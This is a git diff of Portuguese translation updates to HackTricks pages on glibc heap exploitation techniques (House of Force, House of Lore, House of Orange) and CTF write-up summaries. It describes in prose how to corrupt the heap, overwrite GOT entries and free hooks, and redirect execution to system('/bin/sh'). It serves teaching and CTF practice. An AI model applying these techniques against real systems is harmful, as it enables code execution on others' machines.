* Após liberar ponteiros, eles não são nulificados, então ainda é possível acessar seus dados. Portanto, um chunk é colocado no unsorted bin e vazados os ponteiros que ele contém (vazamento de libc) e então um novo heap é colocado no unsorted bin e vazado um endereço de heap a partir do ponteiro que ele recebe.
|
* Após liberar ponteiros, eles não são anulados, então ainda é possível acessar seus dados. Portanto, um chunk é colocado no bin não ordenado e os ponteiros que contém são vazados (leak libc) e então um novo heap é colocado no bin não ordenado e um endereço de heap é vazado a partir do ponteiro que obtém.
|
||||||
* [**baby-talk. DiceCTF 2024**](https://7rocky.github.io/en/ctf/other/dicectf/baby-talk/)
|
* [**baby-talk. DiceCTF 2024**](https://7rocky.github.io/en/ctf/other/dicectf/baby-talk/)
|
||||||
* Bug de estouro de byte nulo em `strtok`.
|
* Bug de overflow de byte nulo em `strtok`.
|
||||||
* Use a Casa de Einherjar para obter uma situação de chunks sobrepostos e termine com envenenamento de Tcache para obter um primitivo de escrita arbitrário.
|
* Use a Casa de Einherjar para obter uma situação de chunks sobrepostos e terminar com envenenamento de Tcache para obter um primitivo de escrita arbitrária.
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Treinamento HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Apoie o HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -1,18 +1,16 @@
|
||||||
# Casa da Força
|
# House of Force
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Treinamento HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Apoie o HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
@ -22,22 +20,22 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
|
||||||
### Código
|
### Código
|
||||||
|
|
||||||
* Esta técnica foi corrigida ([**aqui**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=30a17d8c95fbfb15c52d1115803b63aaa73a285c)) e produz este erro: `malloc(): corrupted top size`
|
* Esta técnica foi corrigida ([**aqui**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=30a17d8c95fbfb15c52d1115803b63aaa73a285c)) e produz este erro: `malloc(): corrupted top size`
|
||||||
* Você pode testar o [**código daqui**](https://guyinatuxedo.github.io/41-house\_of\_force/house\_force\_exp/index.html) se desejar.
|
* Você pode tentar o [**código daqui**](https://guyinatuxedo.github.io/41-house\_of\_force/house\_force\_exp/index.html) para testá-lo se quiser.
|
||||||
|
|
||||||
### Objetivo
|
### Objetivo
|
||||||
|
|
||||||
* O objetivo deste ataque é ser capaz de alocar um pedaço em um endereço específico.
|
* O objetivo deste ataque é ser capaz de alocar um chunk em um endereço específico.
|
||||||
|
|
||||||
### Requisitos
|
### Requisitos
|
||||||
|
|
||||||
* Um estouro que permita sobrescrever o tamanho do cabeçalho do chunk superior (por exemplo, -1).
|
* Um overflow que permita sobrescrever o tamanho do cabeçalho do top chunk (por exemplo, -1).
|
||||||
* Ser capaz de controlar o tamanho da alocação do heap
|
* Ser capaz de controlar o tamanho da alocação do heap.
|
||||||
|
|
||||||
### Ataque
|
### Ataque
|
||||||
|
|
||||||
Se um atacante deseja alocar um chunk no endereço P para sobrescrever um valor aqui. Ele começa sobrescrevendo o tamanho do chunk superior com `-1` (talvez com um estouro). Isso garante que o malloc não usará mmap para nenhuma alocação, pois o Top chunk sempre terá espaço suficiente.
|
Se um atacante quiser alocar um chunk no endereço P para sobrescrever um valor aqui. Ele começa sobrescrevendo o tamanho do top chunk com `-1` (talvez com um overflow). Isso garante que malloc não usará mmap para nenhuma alocação, pois o Top chunk sempre terá espaço suficiente.
|
||||||
|
|
||||||
Em seguida, calcule a distância entre o endereço do chunk superior e o espaço-alvo para alocar. Isso ocorre porque um malloc com esse tamanho será realizado para mover o chunk superior para essa posição. É assim que a diferença/tamanho pode ser facilmente calculada:
|
Em seguida, calcule a distância entre o endereço do top chunk e o espaço alvo para alocar. Isso ocorre porque uma malloc com esse tamanho será realizada para mover o top chunk para essa posição. É assim que a diferença/tamanho pode ser facilmente calculada:
|
||||||
```c
|
```c
|
||||||
// From https://github.com/shellphish/how2heap/blob/master/glibc_2.27/house_of_force.c#L59C2-L67C5
|
// From https://github.com/shellphish/how2heap/blob/master/glibc_2.27/house_of_force.c#L59C2-L67C5
|
||||||
/*
|
/*
|
||||||
|
@ -61,15 +59,30 @@ Em seguida, faça outro malloc para obter um chunk no endereço alvo.
|
||||||
* [https://github.com/shellphish/how2heap/blob/master/glibc\_2.27/house\_of\_force.c](https://github.com/shellphish/how2heap/blob/master/glibc\_2.27/house\_of\_force.c)
|
* [https://github.com/shellphish/how2heap/blob/master/glibc\_2.27/house\_of\_force.c](https://github.com/shellphish/how2heap/blob/master/glibc\_2.27/house\_of\_force.c)
|
||||||
* [https://guyinatuxedo.github.io/41-house\_of\_force/house\_force\_exp/index.html](https://guyinatuxedo.github.io/41-house\_of\_force/house\_force\_exp/index.html)
|
* [https://guyinatuxedo.github.io/41-house\_of\_force/house\_force\_exp/index.html](https://guyinatuxedo.github.io/41-house\_of\_force/house\_force\_exp/index.html)
|
||||||
* [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_force/#hitcon-training-lab-11](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_force/#hitcon-training-lab-11)
|
* [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_force/#hitcon-training-lab-11](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_force/#hitcon-training-lab-11)
|
||||||
* O objetivo deste cenário é um ret2win onde precisamos modificar o endereço de uma função que será chamada pelo endereço da função ret2win
|
* O objetivo deste cenário é um ret2win onde precisamos modificar o endereço de uma função que será chamada pelo endereço da função ret2win.
|
||||||
* O binário tem um overflow que pode ser explorado para modificar o tamanho do top chunk, que é modificado para -1 ou p64(0xffffffffffffffff)
|
* O binário tem um overflow que pode ser explorado para modificar o tamanho do chunk superior, que é modificado para -1 ou p64(0xffffffffffffffff).
|
||||||
* Em seguida, é calculado o endereço do local onde o ponteiro a ser sobrescrito existe, e a diferença da posição atual do top chunk até lá é alocada com `malloc`
|
* Em seguida, é calculado o endereço do lugar onde o ponteiro a ser sobrescrito existe, e a diferença da posição atual do chunk superior até lá é alocada com `malloc`.
|
||||||
* Finalmente, um novo chunk é alocado que conterá este alvo desejado dentro do qual é sobrescrito pela função ret2win
|
* Finalmente, um novo chunk é alocado que conterá este alvo desejado dentro do qual é sobrescrito pela função ret2win.
|
||||||
* [https://shift--crops-hatenablog-com.translate.goog/entry/2016/03/21/171249?\_x\_tr\_sl=es&\_x\_tr\_tl=en&\_x\_tr\_hl=en&\_x\_tr\_pto=wapp](https://shift--crops-hatenablog-com.translate.goog/entry/2016/03/21/171249?\_x\_tr\_sl=es&\_x\_tr\_tl=en&\_x\_tr\_hl=en&\_x\_tr\_pto=wapp)
|
* [https://shift--crops-hatenablog-com.translate.goog/entry/2016/03/21/171249?\_x\_tr\_sl=es&\_x\_tr\_tl=en&\_x\_tr\_hl=en&\_x\_tr\_pto=wapp](https://shift--crops-hatenablog-com.translate.goog/entry/2016/03/21/171249?\_x\_tr\_sl=es&\_x\_tr\_tl=en&\_x\_tr\_hl=en&\_x\_tr\_pto=wapp)
|
||||||
* No `Input your name:`, há uma vulnerabilidade inicial que permite vazar um endereço do heap
|
* No `Input your name:` há uma vulnerabilidade inicial que permite vazar um endereço da heap.
|
||||||
* Em seguida, nas funcionalidades `Org:` e `Host:`, é possível preencher os 64B do ponteiro `s` quando solicitado pelo **nome da organização**, que na pilha é seguido pelo endereço de v2, que é então seguido pelo **nome do host** indicado. Como então, strcpy vai copiar o conteúdo de s para um chunk de tamanho 64B, é possível **sobrescrever o tamanho do top chunk** com os dados inseridos no **nome do host**.
|
* Então, na funcionalidade `Org:` e `Host:`, é possível preencher os 64B do ponteiro `s` quando solicitado pelo **nome da org**, que na pilha é seguido pelo endereço de v2, que é então seguido pelo **nome do host** indicado. Como então, strcpy vai copiar o conteúdo de s para um chunk de tamanho 64B, é possível **sobrescrever o tamanho do chunk superior** com os dados colocados dentro do **nome do host**.
|
||||||
* Agora que a escrita arbitrária é possível, o GOT do `atoi` foi sobrescrito para o endereço do printf. Então foi possível vazar o endereço de `IO_2_1_stderr` _com_ `%24$p`. E com esse vazamento do libc foi possível sobrescrever novamente o GOT do `atoi` com o endereço do `system` e chamá-lo passando como parâmetro `/bin/sh`
|
* Agora que a escrita arbitrária é possível, o GOT de `atoi` foi sobrescrito para o endereço de printf. Assim, foi possível vazar o endereço de `IO_2_1_stderr` _com_ `%24$p`. E com esse vazamento de libc foi possível sobrescrever novamente o GOT de `atoi` com o endereço de `system` e chamá-lo passando como parâmetro `/bin/sh`.
|
||||||
* Um método alternativo [proposto neste outro writeup](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_force/#2016-bctf-bcloud), é sobrescrever `free` com `puts`, e então adicionar o endereço de `atoi@got`, no ponteiro que será posteriormente liberado para que seja vazado e com esse vazamento sobrescrever novamente `atoi@got` com `system` e chamá-lo com `/bin/sh`.
|
* Um método alternativo [proposto neste outro relatório](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_force/#2016-bctf-bcloud) é sobrescrever `free` com `puts`, e então adicionar o endereço de `atoi@got`, no ponteiro que será posteriormente liberado para que seja vazado e com esse vazamento sobrescrever novamente `atoi@got` com `system` e chamá-lo com `/bin/sh`.
|
||||||
* [https://guyinatuxedo.github.io/41-house\_of\_force/bkp16\_cookbook/index.html](https://guyinatuxedo.github.io/41-house\_of\_force/bkp16\_cookbook/index.html)
|
* [https://guyinatuxedo.github.io/41-house\_of\_force/bkp16\_cookbook/index.html](https://guyinatuxedo.github.io/41-house\_of\_force/bkp16\_cookbook/index.html)
|
||||||
* Existe um UAF que permite reutilizar um chunk que foi liberado sem limpar o ponteiro. Como existem alguns métodos de leitura, é possível vazar um endereço do libc escrevendo um ponteiro para a função free no GOT aqui e então chamando a função de leitura.
|
* Há um UAF permitindo reutilizar um chunk que foi liberado sem limpar o ponteiro. Devido a alguns métodos de leitura, é possível vazar um endereço da libc escrevendo um ponteiro para a função free no GOT aqui e então chamando a função de leitura.
|
||||||
* Em seguida, House of force foi usado (abusando do UAF) para sobrescrever o tamanho do espaço à esquerda com um -1, alocar um chunk grande o suficiente para chegar ao hook de free e, em seguida, alocar outro chunk que conterá o hook de free. Em seguida, escreva no hook o endereço do `system`, escreva em um chunk `"/bin/sh"` e finalmente libere o chunk com esse conteúdo de string.
|
* Em seguida, a House of force foi usada (abusando do UAF) para sobrescrever o tamanho do espaço restante com um -1, alocar um chunk grande o suficiente para chegar ao free hook, e então alocar outro chunk que conterá o free hook. Depois, escrever no hook o endereço de `system`, escrever em um chunk `"/bin/sh"` e finalmente liberar o chunk com o conteúdo dessa string.
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-nos no** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,16 +1,16 @@
|
||||||
# House of Lore | Ataque Small bin
|
# House of Lore | Small bin Attack
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Treinamento HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Apoie o HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
@ -19,37 +19,37 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
|
||||||
|
|
||||||
### Código
|
### Código
|
||||||
|
|
||||||
* Verifique em [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_lore/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_lore/)
|
* Confira o de [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_lore/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_lore/)
|
||||||
* Isso não está funcionando
|
* Isso não está funcionando
|
||||||
* Ou: [https://github.com/shellphish/how2heap/blob/master/glibc\_2.39/house\_of\_lore.c](https://github.com/shellphish/how2heap/blob/master/glibc\_2.39/house\_of\_lore.c)
|
* Ou: [https://github.com/shellphish/how2heap/blob/master/glibc\_2.39/house\_of\_lore.c](https://github.com/shellphish/how2heap/blob/master/glibc\_2.39/house\_of\_lore.c)
|
||||||
* Isso não está funcionando mesmo tentando contornar algumas verificações e recebendo o erro: `malloc(): unaligned tcache chunk detected`
|
* Isso não está funcionando mesmo que tente contornar algumas verificações, gerando o erro: `malloc(): unaligned tcache chunk detected`
|
||||||
* Este exemplo ainda está funcionando: [**https://guyinatuxedo.github.io/40-house\_of\_lore/house\_lore\_exp/index.html**](https://guyinatuxedo.github.io/40-house\_of\_lore/house\_lore\_exp/index.html) 
|
* Este exemplo ainda está funcionando: [**https://guyinatuxedo.github.io/40-house\_of\_lore/house\_lore\_exp/index.html**](https://guyinatuxedo.github.io/40-house\_of\_lore/house\_lore\_exp/index.html) 
|
||||||
|
|
||||||
### Objetivo
|
### Objetivo
|
||||||
|
|
||||||
* Inserir um **fake small chunk no small bin para que seja possível alocá-lo**.\
|
* Inserir um **chunk pequeno falso no pequeno bin para que seja possível alocá-lo**.\
|
||||||
Observe que o small chunk adicionado é o falso criado pelo atacante e não um falso em uma posição arbitrária.
|
Note que o chunk pequeno adicionado é o falso que o atacante cria e não um falso em uma posição arbitrária.
|
||||||
|
|
||||||
### Requisitos
|
### Requisitos
|
||||||
|
|
||||||
* Criar 2 chunks falsos e vinculá-los juntos e com o chunk legítimo no small bin:
|
* Criar 2 chunks falsos e vinculá-los juntos e com o chunk legítimo no pequeno bin:
|
||||||
* `fake0.bk` -> `fake1`
|
* `fake0.bk` -> `fake1`
|
||||||
* `fake1.fd` -> `fake0`
|
* `fake1.fd` -> `fake0`
|
||||||
* `fake0.fd` -> `legit` (você precisa modificar um ponteiro no chunk do small bin liberado por meio de alguma outra vulnerabilidade)
|
* `fake0.fd` -> `legit` (você precisa modificar um ponteiro no chunk do pequeno bin liberado via alguma outra vulnerabilidade)
|
||||||
* `legit.bk` -> `fake0`
|
* `legit.bk` -> `fake0`
|
||||||
|
|
||||||
Então você poderá alocar `fake0`.
|
Então você poderá alocar `fake0`.
|
||||||
|
|
||||||
### Ataque
|
### Ataque
|
||||||
|
|
||||||
* Um pequeno chunk (`legit`) é alocado, em seguida, outro é alocado para evitar a consolidação com o top chunk. Em seguida, `legit` é liberado (movendo-o para a lista de bins não ordenados) e um chunk maior é alocado, **movendo `legit` para o small bin.**
|
* Um chunk pequeno (`legit`) é alocado, então outro é alocado para evitar a consolidação com o chunk superior. Em seguida, `legit` é liberado (movendo-o para a lista de bin não ordenados) e um chunk maior é alocado, **movendo `legit` para o pequeno bin.**
|
||||||
* Um atacante gera alguns chunks pequenos falsos e faz as ligações necessárias para contornar as verificações de integridade:
|
* Um atacante gera alguns chunks pequenos falsos e faz a vinculação necessária para contornar as verificações de sanidade:
|
||||||
* `fake0.bk` -> `fake1`
|
* `fake0.bk` -> `fake1`
|
||||||
* `fake1.fd` -> `fake0`
|
* `fake1.fd` -> `fake0`
|
||||||
* `fake0.fd` -> `legit` (você precisa modificar um ponteiro no chunk do small bin liberado por meio de alguma outra vulnerabilidade)
|
* `fake0.fd` -> `legit` (você precisa modificar um ponteiro no chunk do pequeno bin liberado via alguma outra vulnerabilidade)
|
||||||
* `legit.bk` -> `fake0`
|
* `legit.bk` -> `fake0`
|
||||||
* Um pequeno chunk é alocado para obter `legit`, fazendo com que **`fake0`** entre na lista superior dos small bins
|
* Um chunk pequeno é alocado para obter legit, tornando **`fake0`** a lista superior de pequenos bins
|
||||||
* Outro pequeno chunk é alocado, obtendo `fake0` como um chunk, permitindo potencialmente ler/escrever ponteiros dentro dele.
|
* Outro chunk pequeno é alocado, obtendo `fake0` como um chunk, permitindo potencialmente ler/escrever ponteiros dentro dele.
|
||||||
|
|
||||||
## Referências
|
## Referências
|
||||||
|
|
||||||
|
@ -58,16 +58,16 @@ Então você poderá alocar `fake0`.
|
||||||
* [https://guyinatuxedo.github.io/40-house\_of\_lore/house\_lore\_exp/index.html](https://guyinatuxedo.github.io/40-house\_of\_lore/house\_lore\_exp/index.html)
|
* [https://guyinatuxedo.github.io/40-house\_of\_lore/house\_lore\_exp/index.html](https://guyinatuxedo.github.io/40-house\_of\_lore/house\_lore\_exp/index.html)
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Treinamento HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Apoie o HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -1,16 +1,16 @@
|
||||||
# Casa de Laranja
|
# House of Orange
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Treinamento HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Apoie o HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
@ -20,7 +20,7 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
|
||||||
### Código
|
### Código
|
||||||
|
|
||||||
* Encontre um exemplo em [https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_orange.c](https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_orange.c)
|
* Encontre um exemplo em [https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_orange.c](https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_orange.c)
|
||||||
